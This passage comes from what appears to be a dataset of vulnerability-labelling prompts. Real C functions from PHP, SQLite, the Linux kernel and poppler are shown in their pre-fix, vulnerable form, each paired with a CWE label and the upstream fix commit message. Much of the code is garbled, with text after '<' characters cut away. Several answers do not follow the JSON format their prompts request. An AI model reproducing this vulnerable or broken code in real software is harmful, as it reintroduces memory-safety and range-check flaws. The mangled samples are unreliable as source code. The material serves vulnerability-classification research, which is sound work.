FALSE;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase TAG_EXIF_IFD_POINTER:\n\t\t\tcase TAG_GPS_IFD_POINTER:\n\t\t\tcase TAG_INTEROP_IFD_POINTER:\n\t\t\t\tif (ReadNextIFD) {\n\t\t\t\t\tchar *Subdir_start;\n\t\t\t\t\tint sub_section_index = 0;\n\t\t\t\t\tswitch(tag) {\n\t\t\t\t\t\tcase TAG_EXIF_IFD_POINTER:\n#ifdef EXIF_DEBUG\n\t\t\t\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Found EXIF\");\n#endif\n\t\t\t\t\t\t\tImageInfo->sections_found |= FOUND_EXIF;\n\t\t\t\t\t\t\tsub_section_index = SECTION_EXIF;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TAG_GPS_IFD_POINTER:\n#ifdef EXIF_DEBUG\n\t\t\t\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Found GPS\");\n#endif\n\t\t\t\t\t\t\tImageInfo->sections_found |= FOUND_GPS;\n\t\t\t\t\t\t\tsub_section_index = SECTION_GPS;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TAG_INTEROP_IFD_POINTER:\n#ifdef EXIF_DEBUG\n\t\t\t\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Found INTEROPERABILITY\");\n#endif\n\t\t\t\t\t\t\tImageInfo->sections_found |= FOUND_INTEROP;\n\t\t\t\t\t\t\tsub_section_index = SECTION_INTEROP;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tSubdir_start = offset_base + php_ifd_get32u(value_ptr, ImageInfo->motorola_intel);\n\t\t\t\t\tif (Subdir_start < offset_base || Subdir_start > offset_base+IFDlength) {\n\t\t\t\t\t\texif_error_docref(\"exif_read_data#error_ifd\" EXIFERR_CC, ImageInfo, E_WARNING, \"Illegal IFD Pointer\");\n\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t}\n\t\t\t\t\tif (!exif_process_IFD_in_JPEG(ImageInfo, Subdir_start, offset_base, IFDlength, displacement, sub_section_index)) {\n\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t}\n#ifdef EXIF_DEBUG\n\t\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Subsection %s done\", exif_get_sectionname(sub_section_index));\n#endif\n\t\t\t\t}\n\t\t}\n\t}\n\texif_iif_add_tag(ImageInfo, section_index, exif_get_tagname(tag, tagname, sizeof(tagname), tag_table), tag, format, components, value_ptr, byte_count);\n\tEFREE_IF(outside);\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix bug #77950 - Heap-buffer-overflow in _estrndup via exif_process_IFD_TAG\n\nI do not completely understand what is going on there, but I am pretty\nsure dir_entry <= offset_base if not a normal situation, so we better not\nto rely on such dir_entry.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int lookupName(\n Parse *pParse, /* The parsing context */\n const char *zDb, /* Name of the database containing table, or NULL */\n const char *zTab, /* Name of table containing column, or NULL */\n const char *zCol, /* Name of the column. */\n NameContext *pNC, /* The name context used to resolve the name */\n Expr *pExpr /* Make this EXPR node point to the selected column */\n){\n int i, j; /* Loop counters */\n int cnt = 0; /* Number of matching column names */\n int cntTab = 0; /* Number of matching table names */\n int nSubquery = 0; /* How many levels of subquery */\n sqlite3 *db = pParse->db; /* The database connection */\n struct SrcList_item *pItem; /* Use for looping over pSrcList items */\n struct SrcList_item *pMatch = 0; /* The matching pSrcList item */\n NameContext *pTopNC = pNC; /* First namecontext in the list */\n Schema *pSchema = 0; /* Schema of the expression */\n int eNewExprOp = TK_COLUMN; /* New value for pExpr->op on success */\n Table *pTab = 0; /* Table hold the row */\n Column *pCol; /* A column of pTab */\n\n assert( pNC ); /* the name context cannot be NULL. */\n assert( zCol ); /* The Z in X.Y.Z cannot be NULL */\n assert( !ExprHasProperty(pExpr, EP_TokenOnly|EP_Reduced) );\n\n /* Initialize the node to no-match */\n pExpr->iTable = -1;\n ExprSetVVAProperty(pExpr, EP_NoReduce);\n\n /* Translate the schema name in zDb into a pointer to the corresponding\n ** schema. If not found, pSchema will remain NULL and nothing will match\n ** resulting in an appropriate error message toward the end of this routine\n */\n if( zDb ){\n testcase( pNC->ncFlags & NC_PartIdx );\n testcase( pNC->ncFlags & NC_IsCheck );\n if( (pNC->ncFlags & (NC_PartIdx|NC_IsCheck))!=0 ){\n /* Silently ignore database qualifiers inside CHECK constraints and\n ** partial indices. Do not raise errors because that might break\n ** legacy and because it does not hurt anything to just ignore the\n ** database name. */\n zDb = 0;\n }else{\n for(i=0; inDb; i++){\n assert( db->aDb[i].zDbSName );\n if( sqlite3StrICmp(db->aDb[i].zDbSName,zDb)==0 ){\n pSchema = db->aDb[i].pSchema;\n break;\n }\n }\n }\n }\n\n /* Start at the inner-most context and move outward until a match is found */\n assert( pNC && cnt==0 );\n do{\n ExprList *pEList;\n SrcList *pSrcList = pNC->pSrcList;\n\n if( pSrcList ){\n for(i=0, pItem=pSrcList->a; inSrc; i++, pItem++){\n pTab = pItem->pTab;\n assert( pTab!=0 && pTab->zName!=0 );\n assert( pTab->nCol>0 );\n if( pItem->pSelect && (pItem->pSelect->selFlags & SF_NestedFrom)!=0 ){\n int hit = 0;\n pEList = pItem->pSelect->pEList;\n for(j=0; jnExpr; j++){\n if( sqlite3MatchSpanName(pEList->a[j].zSpan, zCol, zTab, zDb) ){\n cnt++;\n cntTab = 2;\n pMatch = pItem;\n pExpr->iColumn = j;\n hit = 1;\n }\n }\n if( hit || zTab==0 ) continue;\n }\n if( zDb && pTab->pSchema!=pSchema ){\n continue;\n }\n if( zTab ){\n const char *zTabName = pItem->zAlias ? pItem->zAlias : pTab->zName;\n assert( zTabName!=0 );\n if( sqlite3StrICmp(zTabName, zTab)!=0 ){\n continue;\n }\n if( IN_RENAME_OBJECT && pItem->zAlias ){\n sqlite3RenameTokenRemap(pParse, 0, (void*)&pExpr->y.pTab);\n }\n }\n if( 0==(cntTab++) ){\n pMatch = pItem;\n }\n for(j=0, pCol=pTab->aCol; jnCol; j++, pCol++){\n if( sqlite3StrICmp(pCol->zName, zCol)==0 ){\n /* If there has been exactly one prior match and this match\n ** is for the right-hand table of a NATURAL JOIN or is in a \n ** USING clause, then skip this match.\n */\n if( cnt==1 ){\n if( pItem->fg.jointype & JT_NATURAL ) continue;\n if( nameInUsingClause(pItem->pUsing, zCol) ) continue;\n }\n cnt++;\n pMatch = pItem;\n /* Substitute the rowid (column -1) for the INTEGER PRIMARY KEY */\n pExpr->iColumn = j==pTab->iPKey ? -1 : (i16)j;\n break;\n }\n }\n }\n if( pMatch ){\n pExpr->iTable = pMatch->iCursor;\n pExpr->y.pTab = pMatch->pTab;\n /* RIGHT JOIN not (yet) supported */\n assert( (pMatch->fg.jointype & JT_RIGHT)==0 );\n if( (pMatch->fg.jointype & JT_LEFT)!=0 ){\n ExprSetProperty(pExpr, EP_CanBeNull);\n }\n pSchema = pExpr->y.pTab->pSchema;\n }\n } /* if( pSrcList ) */\n\n#if !defined(SQLITE_OMIT_TRIGGER) || !defined(SQLITE_OMIT_UPSERT)\n /* If we have not already resolved the name, then maybe \n ** it is a new.* or old.* trigger argument reference. Or\n ** maybe it is an excluded.* from an upsert.\n */\n if( zDb==0 && zTab!=0 && cntTab==0 ){\n pTab = 0;\n#ifndef SQLITE_OMIT_TRIGGER\n if( pParse->pTriggerTab!=0 ){\n int op = pParse->eTriggerOp;\n assert( op==TK_DELETE || op==TK_UPDATE || op==TK_INSERT );\n if( op!=TK_DELETE && sqlite3StrICmp(\"new\",zTab) == 0 ){\n pExpr->iTable = 1;\n pTab = pParse->pTriggerTab;\n }else if( op!=TK_INSERT && sqlite3StrICmp(\"old\",zTab)==0 ){\n pExpr->iTable = 0;\n pTab = pParse->pTriggerTab;\n }\n }\n#endif /* SQLITE_OMIT_TRIGGER */\n#ifndef SQLITE_OMIT_UPSERT\n if( (pNC->ncFlags & NC_UUpsert)!=0 ){\n Upsert *pUpsert = pNC->uNC.pUpsert;\n if( pUpsert && sqlite3StrICmp(\"excluded\",zTab)==0 ){\n pTab = pUpsert->pUpsertSrc->a[0].pTab;\n pExpr->iTable = 2;\n }\n }\n#endif /* SQLITE_OMIT_UPSERT */\n\n if( pTab ){ \n int iCol;\n pSchema = pTab->pSchema;\n cntTab++;\n for(iCol=0, pCol=pTab->aCol; iColnCol; iCol++, pCol++){\n if( sqlite3StrICmp(pCol->zName, zCol)==0 ){\n if( iCol==pTab->iPKey ){\n iCol = -1;\n }\n break;\n }\n }\n if( iCol>=pTab->nCol && sqlite3IsRowid(zCol) && VisibleRowid(pTab) ){\n /* IMP: R-51414-32910 */\n iCol = -1;\n }\n if( iColnCol ){\n cnt++;\n#ifndef SQLITE_OMIT_UPSERT\n if( pExpr->iTable==2 ){\n testcase( iCol==(-1) );\n if( IN_RENAME_OBJECT ){\n pExpr->iColumn = iCol;\n pExpr->y.pTab = pTab;\n eNewExprOp = TK_COLUMN;\n }else{\n pExpr->iTable = pNC->uNC.pUpsert->regData + iCol;\n eNewExprOp = TK_REGISTER;\n ExprSetProperty(pExpr, EP_Alias);\n }\n }else\n#endif /* SQLITE_OMIT_UPSERT */\n {\n#ifndef SQLITE_OMIT_TRIGGER\n if( iCol<0 ){\n pExpr->affinity = SQLITE_AFF_INTEGER;\n }else if( pExpr->iTable==0 ){\n testcase( iCol==31 );\n testcase( iCol==32 );\n pParse->oldmask |= (iCol>=32 ? 0xffffffff : (((u32)1)<newmask |= (iCol>=32 ? 0xffffffff : (((u32)1)<y.pTab = pTab;\n pExpr->iColumn = (i16)iCol;\n eNewExprOp = TK_TRIGGER;\n#endif /* SQLITE_OMIT_TRIGGER */\n }\n }\n }\n }\n#endif /* !defined(SQLITE_OMIT_TRIGGER) || !defined(SQLITE_OMIT_UPSERT) */\n\n /*\n ** Perhaps the name is a reference to the ROWID\n */\n if( cnt==0\n && cntTab==1\n && pMatch\n && (pNC->ncFlags & NC_IdxExpr)==0\n && sqlite3IsRowid(zCol)\n && VisibleRowid(pMatch->pTab)\n ){\n cnt = 1;\n pExpr->iColumn = -1;\n pExpr->affinity = SQLITE_AFF_INTEGER;\n }\n\n /*\n ** If the input is of the form Z (not Y.Z or X.Y.Z) then the name Z\n ** might refer to an result-set alias. This happens, for example, when\n ** we are resolving names in the WHERE clause of the following command:\n **\n ** SELECT a+b AS x FROM table WHERE x<10;\n **\n ** In cases like this, replace pExpr with a copy of the expression that\n ** forms the result set entry (\"a+b\" in the example) and return immediately.\n ** Note that the expression in the result set should have already been\n ** resolved by the time the WHERE clause is resolved.\n **\n ** The ability to use an output result-set column in the WHERE, GROUP BY,\n ** or HAVING clauses, or as part of a larger expression in the ORDER BY\n ** clause is not standard SQL. This is a (goofy) SQLite extension, that\n ** is supported for backwards compatibility only. Hence, we issue a warning\n ** on sqlite3_log() whenever the capability is used.\n */\n if( (pNC->ncFlags & NC_UEList)!=0\n && cnt==0\n && zTab==0\n ){\n pEList = pNC->uNC.pEList;\n assert( pEList!=0 );\n for(j=0; jnExpr; j++){\n char *zAs = pEList->a[j].zName;\n if( zAs!=0 && sqlite3StrICmp(zAs, zCol)==0 ){\n Expr *pOrig;\n assert( pExpr->pLeft==0 && pExpr->pRight==0 );\n assert( pExpr->x.pList==0 );\n assert( pExpr->x.pSelect==0 );\n pOrig = pEList->a[j].pExpr;\n if( (pNC->ncFlags&NC_AllowAgg)==0 && ExprHasProperty(pOrig, EP_Agg) ){\n sqlite3ErrorMsg(pParse, \"misuse of aliased aggregate %s\", zAs);\n return WRC_Abort;\n }\n if( sqlite3ExprVectorSize(pOrig)!=1 ){\n sqlite3ErrorMsg(pParse, \"row value misused\");\n return WRC_Abort;\n }\n resolveAlias(pParse, pEList, j, pExpr, \"\", nSubquery);\n cnt = 1;\n pMatch = 0;\n assert( zTab==0 && zDb==0 );\n if( IN_RENAME_OBJECT ){\n sqlite3RenameTokenRemap(pParse, 0, (void*)pExpr);\n }\n goto lookupname_end;\n }\n } \n }\n\n /* Advance to the next name context. The loop will exit when either\n ** we have a match (cnt>0) or when we run out of name contexts.\n */\n if( cnt ) break;\n pNC = pNC->pNext;\n nSubquery++;\n }while( pNC );\n\n\n /*\n ** If X and Y are NULL (in other words if only the column name Z is\n ** supplied) and the value of Z is enclosed in double-quotes, then\n ** Z is a string literal if it doesn't match any column names. In that\n ** case, we need to return right away and not make any changes to\n ** pExpr.\n **\n ** Because no reference was made to outer contexts, the pNC->nRef\n ** fields are not changed in any context.\n */\n if( cnt==0 && zTab==0 ){\n assert( pExpr->op==TK_ID );\n if( ExprHasProperty(pExpr,EP_DblQuoted) ){\n /* If a double-quoted identifier does not match any known column name,\n ** then treat it as a string.\n **\n ** This hack was added in the early days of SQLite in a misguided attempt\n ** to be compatible with MySQL 3.x, which used double-quotes for strings.\n ** I now sorely regret putting in this hack. The effect of this hack is\n ** that misspelled identifier names are silently converted into strings\n ** rather than causing an error, to the frustration of countless\n ** programmers. To all those frustrated programmers, my apologies.\n **\n ** Someday, I hope to get rid of this hack. Unfortunately there is\n ** a huge amount of legacy SQL that uses it. So for now, we just\n ** issue a warning.\n */\n sqlite3_log(SQLITE_WARNING,\n \"double-quoted string literal: \\\"%w\\\"\", zCol);\n#ifdef SQLITE_ENABLE_NORMALIZE\n sqlite3VdbeAddDblquoteStr(db, pParse->pVdbe, zCol);\n#endif\n pExpr->op = TK_STRING;\n pExpr->y.pTab = 0;\n return WRC_Prune;\n }\n if( sqlite3ExprIdToTrueFalse(pExpr) ){\n return WRC_Prune;\n }\n }\n\n /*\n ** cnt==0 means there was not match. cnt>1 means there were two or\n ** more matches. Either way, we have an error.\n */\n if( cnt!=1 ){\n const char *zErr;\n zErr = cnt==0 ? \"no such column\" : \"ambiguous column name\";\n if( zDb ){\n sqlite3ErrorMsg(pParse, \"%s: %s.%s.%s\", zErr, zDb, zTab, zCol);\n }else if( zTab ){\n sqlite3ErrorMsg(pParse, \"%s: %s.%s\", zErr, zTab, zCol);\n }else{\n sqlite3ErrorMsg(pParse, \"%s: %s\", zErr, zCol);\n }\n pParse->checkSchema = 1;\n pTopNC->nErr++;\n }\n\n /* If a column from a table in pSrcList is referenced, then record\n ** this fact in the pSrcList.a[].colUsed bitmask. Column 0 causes\n ** bit 0 to be set. Column 1 sets bit 1. And so forth. If the\n ** column number is greater than the number of bits in the bitmask\n ** then set the high-order bit of the bitmask.\n */\n if( pExpr->iColumn>=0 && pMatch!=0 ){\n int n = pExpr->iColumn;\n testcase( n==BMS-1 );\n if( n>=BMS ){\n n = BMS-1;\n }\n assert( pMatch->iCursor==pExpr->iTable );\n pMatch->colUsed |= ((Bitmask)1)<pLeft);\n pExpr->pLeft = 0;\n sqlite3ExprDelete(db, pExpr->pRight);\n pExpr->pRight = 0;\n pExpr->op = eNewExprOp;\n ExprSetProperty(pExpr, EP_Leaf);\nlookupname_end:\n if( cnt==1 ){\n assert( pNC!=0 );\n if( !ExprHasProperty(pExpr, EP_Alias) ){\n sqlite3AuthRead(pParse, pExpr, pSchema, pNC->pSrcList);\n }\n /* Increment the nRef value on all name contexts from TopNC up to\n ** the point where the name matched. */\n for(;;){\n assert( pTopNC!=0 );\n pTopNC->nRef++;\n if( pTopNC==pNC ) break;\n pTopNC = pTopNC->pNext;\n }\n return WRC_Prune;\n } else {\n return WRC_Abort;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Prevent aliases of window functions expressions from being used as arguments to aggregate or other window functions.\n\nFossilOrigin-Name: 1e16d3e8fc60d39ca3899759ff15d355fdd7d3e23b325d8d2b0f954e11ce8dce'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int try_smi_init(struct smi_info *new_smi)\n{\n\tint rv = 0;\n\tint i;\n\tchar *init_name = NULL;\n\n\tpr_info(\"Trying %s-specified %s state machine at %s address 0x%lx, slave address 0x%x, irq %d\\n\",\n\t\tipmi_addr_src_to_str(new_smi->io.addr_source),\n\t\tsi_to_str[new_smi->io.si_type],\n\t\taddr_space_to_str[new_smi->io.addr_type],\n\t\tnew_smi->io.addr_data,\n\t\tnew_smi->io.slave_addr, new_smi->io.irq);\n\n\tswitch (new_smi->io.si_type) {\n\tcase SI_KCS:\n\t\tnew_smi->handlers = &kcs_smi_handlers;\n\t\tbreak;\n\n\tcase SI_SMIC:\n\t\tnew_smi->handlers = &smic_smi_handlers;\n\t\tbreak;\n\n\tcase SI_BT:\n\t\tnew_smi->handlers = &bt_smi_handlers;\n\t\tbreak;\n\n\tdefault:\n\t\t/* No support for anything else yet. */\n\t\trv = -EIO;\n\t\tgoto out_err;\n\t}\n\n\tnew_smi->si_num = smi_num;\n\n\t/* Do this early so it's available for logs. */\n\tif (!new_smi->io.dev) {\n\t\tinit_name = kasprintf(GFP_KERNEL, \"ipmi_si.%d\",\n\t\t\t\t new_smi->si_num);\n\n\t\t/*\n\t\t * If we don't already have a device from something\n\t\t * else (like PCI), then register a new one.\n\t\t */\n\t\tnew_smi->pdev = platform_device_alloc(\"ipmi_si\",\n\t\t\t\t\t\t new_smi->si_num);\n\t\tif (!new_smi->pdev) {\n\t\t\tpr_err(\"Unable to allocate platform device\\n\");\n\t\t\trv = -ENOMEM;\n\t\t\tgoto out_err;\n\t\t}\n\t\tnew_smi->io.dev = &new_smi->pdev->dev;\n\t\tnew_smi->io.dev->driver = &ipmi_platform_driver.driver;\n\t\t/* Nulled by device_add() */\n\t\tnew_smi->io.dev->init_name = init_name;\n\t}\n\n\t/* Allocate the state machine's data and initialize it. */\n\tnew_smi->si_sm = kmalloc(new_smi->handlers->size(), GFP_KERNEL);\n\tif (!new_smi->si_sm) {\n\t\trv = -ENOMEM;\n\t\tgoto out_err;\n\t}\n\tnew_smi->io.io_size = new_smi->handlers->init_data(new_smi->si_sm,\n\t\t\t\t\t\t\t &new_smi->io);\n\n\t/* Now that we know the I/O size, we can set up the I/O. */\n\trv = new_smi->io.io_setup(&new_smi->io);\n\tif (rv) {\n\t\tdev_err(new_smi->io.dev, \"Could not set up I/O space\\n\");\n\t\tgoto out_err;\n\t}\n\n\t/* Do low-level detection first. */\n\tif (new_smi->handlers->detect(new_smi->si_sm)) {\n\t\tif (new_smi->io.addr_source)\n\t\t\tdev_err(new_smi->io.dev,\n\t\t\t\t\"Interface detection failed\\n\");\n\t\trv = -ENODEV;\n\t\tgoto out_err;\n\t}\n\n\t/*\n\t * Attempt a get device id command. If it fails, we probably\n\t * don't have a BMC here.\n\t */\n\trv = try_get_dev_id(new_smi);\n\tif (rv) {\n\t\tif (new_smi->io.addr_source)\n\t\t\tdev_err(new_smi->io.dev,\n\t\t\t \"There appears to be no BMC at this location\\n\");\n\t\tgoto out_err;\n\t}\n\n\tsetup_oem_data_handler(new_smi);\n\tsetup_xaction_handlers(new_smi);\n\tcheck_for_broken_irqs(new_smi);\n\n\tnew_smi->waiting_msg = NULL;\n\tnew_smi->curr_msg = NULL;\n\tatomic_set(&new_smi->req_events, 0);\n\tnew_smi->run_to_completion = false;\n\tfor (i = 0; i < SI_NUM_STATS; i++)\n\t\tatomic_set(&new_smi->stats[i], 0);\n\n\tnew_smi->interrupt_disabled = true;\n\tatomic_set(&new_smi->need_watch, 0);\n\n\trv = try_enable_event_buffer(new_smi);\n\tif (rv == 0)\n\t\tnew_smi->has_event_buffer = true;\n\n\t/*\n\t * Start clearing the flags before we enable interrupts or the\n\t * timer to avoid racing with the timer.\n\t */\n\tstart_clear_flags(new_smi);\n\n\t/*\n\t * IRQ is defined to be set when non-zero. req_events will\n\t * cause a global flags check that will enable interrupts.\n\t */\n\tif (new_smi->io.irq) {\n\t\tnew_smi->interrupt_disabled = false;\n\t\tatomic_set(&new_smi->req_events, 1);\n\t}\n\n\tif (new_smi->pdev && !new_smi->pdev_registered) {\n\t\trv = platform_device_add(new_smi->pdev);\n\t\tif (rv) {\n\t\t\tdev_err(new_smi->io.dev,\n\t\t\t\t\"Unable to register system interface device: %d\\n\",\n\t\t\t\trv);\n\t\t\tgoto out_err;\n\t\t}\n\t\tnew_smi->pdev_registered = true;\n\t}\n\n\tdev_set_drvdata(new_smi->io.dev, new_smi);\n\trv = device_add_group(new_smi->io.dev, &ipmi_si_dev_attr_group);\n\tif (rv) {\n\t\tdev_err(new_smi->io.dev,\n\t\t\t\"Unable to add device attributes: error %d\\n\",\n\t\t\trv);\n\t\tgoto out_err;\n\t}\n\tnew_smi->dev_group_added = true;\n\n\trv = ipmi_register_smi(&handlers,\n\t\t\t new_smi,\n\t\t\t new_smi->io.dev,\n\t\t\t new_smi->io.slave_addr);\n\tif (rv) {\n\t\tdev_err(new_smi->io.dev,\n\t\t\t\"Unable to register device: error %d\\n\",\n\t\t\trv);\n\t\tgoto out_err;\n\t}\n\n\t/* Don't increment till we know we have succeeded. */\n\tsmi_num++;\n\n\tdev_info(new_smi->io.dev, \"IPMI %s interface initialized\\n\",\n\t\t si_to_str[new_smi->io.si_type]);\n\n\tWARN_ON(new_smi->io.dev->init_name != NULL);\n\n out_err:\n\tkfree(init_name);\n\treturn rv;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ipmi_si: fix use-after-free of resource->name\n\nWhen we excute the following commands, we got oops\nrmmod ipmi_si\ncat /proc/ioports\n\n[ 1623.482380] Unable to handle kernel paging request at virtual address ffff00000901d478\n[ 1623.482382] Mem abort info:\n[ 1623.482383] ESR = 0x96000007\n[ 1623.482385] Exception class = DABT (current EL), IL = 32 bits\n[ 1623.482386] SET = 0, FnV = 0\n[ 1623.482387] EA = 0, S1PTW = 0\n[ 1623.482388] Data abort info:\n[ 1623.482389] ISV = 0, ISS = 0x00000007\n[ 1623.482390] CM = 0, WnR = 0\n[ 1623.482393] swapper pgtable: 4k pages, 48-bit VAs, pgdp = 00000000d7d94a66\n[ 1623.482395] [ffff00000901d478] pgd=000000dffbfff003, pud=000000dffbffe003, pmd=0000003f5d06e003, pte=0000000000000000\n[ 1623.482399] Internal error: Oops: 96000007 [#1] SMP\n[ 1623.487407] Modules linked in: ipmi_si(E) nls_utf8 isofs rpcrdma ib_iser ib_srpt target_core_mod ib_srp scsi_transport_srp ib_ipoib rdma_ucm ib_umad rdma_cm ib_cm dm_mirror dm_region_hash dm_log iw_cm dm_mod aes_ce_blk crypto_simd cryptd aes_ce_cipher ses ghash_ce sha2_ce enclosure sha256_arm64 sg sha1_ce hisi_sas_v2_hw hibmc_drm sbsa_gwdt hisi_sas_main ip_tables mlx5_ib ib_uverbs marvell ib_core mlx5_core ixgbe mdio hns_dsaf ipmi_devintf hns_enet_drv ipmi_msghandler hns_mdio [last unloaded: ipmi_si]\n[ 1623.532410] CPU: 30 PID: 11438 Comm: cat Kdump: loaded Tainted: G E 5.0.0-rc3+ #168\n[ 1623.541498] Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.37 11/21/2017\n[ 1623.548822] pstate: a0000005 (NzCv daif -PAN -UAO)\n[ 1623.553684] pc : string+0x28/0x98\n[ 1623.557040] lr : vsnprintf+0x368/0x5e8\n[ 1623.560837] sp : ffff000013213a80\n[ 1623.564191] x29: ffff000013213a80 x28: ffff00001138abb5\n[ 1623.569577] x27: ffff000013213c18 x26: ffff805f67d06049\n[ 1623.574963] x25: 0000000000000000 x24: ffff00001138abb5\n[ 1623.580349] x23: 0000000000000fb7 x22: ffff0000117ed000\n[ 1623.585734] x21: ffff000011188fd8 x20: ffff805f67d07000\n[ 1623.591119] x19: ffff805f67d06061 x18: ffffffffffffffff\n[ 1623.596505] x17: 0000000000000200 x16: 0000000000000000\n[ 1623.601890] x15: ffff0000117ed748 x14: ffff805f67d07000\n[ 1623.607276] x13: ffff805f67d0605e x12: 0000000000000000\n[ 1623.612661] x11: 0000000000000000 x10: 0000000000000000\n[ 1623.618046] x9 : 0000000000000000 x8 : 000000000000000f\n[ 1623.623432] x7 : ffff805f67d06061 x6 : fffffffffffffffe\n[ 1623.628817] x5 : 0000000000000012 x4 : ffff00000901d478\n[ 1623.634203] x3 : ffff0a00ffffff04 x2 : ffff805f67d07000\n[ 1623.639588] x1 : ffff805f67d07000 x0 : ffffffffffffffff\n[ 1623.644974] Process cat (pid: 11438, stack limit = 0x000000008d4cbc10)\n[ 1623.651592] Call trace:\n[ 1623.654068] string+0x28/0x98\n[ 1623.657071] vsnprintf+0x368/0x5e8\n[ 1623.660517] seq_vprintf+0x70/0x98\n[ 1623.668009] seq_printf+0x7c/0xa0\n[ 1623.675530] r_show+0xc8/0xf8\n[ 1623.682558] seq_read+0x330/0x440\n[ 1623.689877] proc_reg_read+0x78/0xd0\n[ 1623.697346] __vfs_read+0x60/0x1a0\n[ 1623.704564] vfs_read+0x94/0x150\n[ 1623.711339] ksys_read+0x6c/0xd8\n[ 1623.717939] __arm64_sys_read+0x24/0x30\n[ 1623.725077] el0_svc_common+0x120/0x148\n[ 1623.732035] el0_svc_handler+0x30/0x40\n[ 1623.738757] el0_svc+0x8/0xc\n[ 1623.744520] Code: d1000406 aa0103e2 54000149 b4000080 (39400085)\n[ 1623.753441] ---[ end trace f91b6a4937de9835 ]---\n[ 1623.760871] Kernel panic - not syncing: Fatal exception\n[ 1623.768935] SMP: stopping secondary CPUs\n[ 1623.775718] Kernel Offset: disabled\n[ 1623.781998] CPU features: 0x002,21006008\n[ 1623.788777] Memory Limit: none\n[ 1623.798329] Starting crashdump kernel...\n[ 1623.805202] Bye!\n\nIf io_setup is called successful in try_smi_init() but try_smi_init()\ngoes out_err before calling ipmi_register_smi(), so ipmi_unregister_smi()\nwill not be called while removing module. It leads to the resource that\nallocated in io_setup() can not be freed, but the name(DEVICE_NAME) of\nresource is freed while removing the module. It causes use-after-free\nwhen cat /proc/ioports.\n\nFix this by calling io_cleanup() while try_smi_init() goes to out_err.\nand don't call io_cleanup() until io_setup() returns successful to avoid\nwarning prints.\n\nFixes: 93c303d2045b (\"ipmi_si: Clean up shutdown a bit\")\nCc: stable@vger.kernel.org\nReported-by: NuoHan Qiao \nSuggested-by: Corey Minyard \nSigned-off-by: Yang Yingliang \nSigned-off-by: Corey Minyard '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int intel_vgpu_mmap(struct mdev_device *mdev, struct vm_area_struct *vma)\n{\n\tunsigned int index;\n\tu64 virtaddr;\n\tunsigned long req_size, pgoff = 0;\n\tpgprot_t pg_prot;\n\tstruct intel_vgpu *vgpu = mdev_get_drvdata(mdev);\n\n\tindex = vma->vm_pgoff >> (VFIO_PCI_OFFSET_SHIFT - PAGE_SHIFT);\n\tif (index >= VFIO_PCI_ROM_REGION_INDEX)\n\t\treturn -EINVAL;\n\n\tif (vma->vm_end < vma->vm_start)\n\t\treturn -EINVAL;\n\tif ((vma->vm_flags & VM_SHARED) == 0)\n\t\treturn -EINVAL;\n\tif (index != VFIO_PCI_BAR2_REGION_INDEX)\n\t\treturn -EINVAL;\n\n\tpg_prot = vma->vm_page_prot;\n\tvirtaddr = vma->vm_start;\n\treq_size = vma->vm_end - vma->vm_start;\n\tpgoff = vgpu_aperture_pa_base(vgpu) >> PAGE_SHIFT;\n\n\treturn remap_pfn_range(vma, virtaddr, pgoff, req_size, pg_prot);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'drm/i915/gvt: Fix mmap range check\n\nThis is to fix missed mmap range check on vGPU bar2 region\nand only allow to map vGPU allocated GMADDR range, which means\nuser space should support sparse mmap to get proper offset for\nmmap vGPU aperture. And this takes care of actual pgoff in mmap\nrequest as original code always does from beginning of vGPU\naperture.\n\nFixes: 659643f7d814 (\"drm/i915/gvt/kvmgt: add vfio/mdev support to KVMGT\")\nCc: \"Monroy, Rodrigo Axel\" \nCc: \"Orrala Contreras, Alfredo\" \nCc: stable@vger.kernel.org # v4.10+\nReviewed-by: Hang Yuan \nSigned-off-by: Zhenyu Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void JPXStream::init()\n{\n Object oLen, cspace, smaskInData;\n if (getDict()) {\n oLen = getDict()->lookup(\"Length\");\n cspace = getDict()->lookup(\"ColorSpace\");\n smaskInData = getDict()->lookup(\"SMaskInData\");\n }\n\n int bufSize = BUFFER_INITIAL_SIZE;\n if (oLen.isInt()) bufSize = oLen.getInt();\n\n bool indexed = false;\n if (cspace.isArray() && cspace.arrayGetLength() > 0) {\n const Object cstype = cspace.arrayGet(0);\n if (cstype.isName(\"Indexed\")) indexed = true;\n }\n\n priv->smaskInData = 0;\n if (smaskInData.isInt()) priv->smaskInData = smaskInData.getInt();\n\n int length = 0;\n unsigned char *buf = str->toUnsignedChars(&length, bufSize);\n priv->init2(OPJ_CODEC_JP2, buf, length, indexed);\n gfree(buf);\n\n if (priv->image) {\n int numComps = 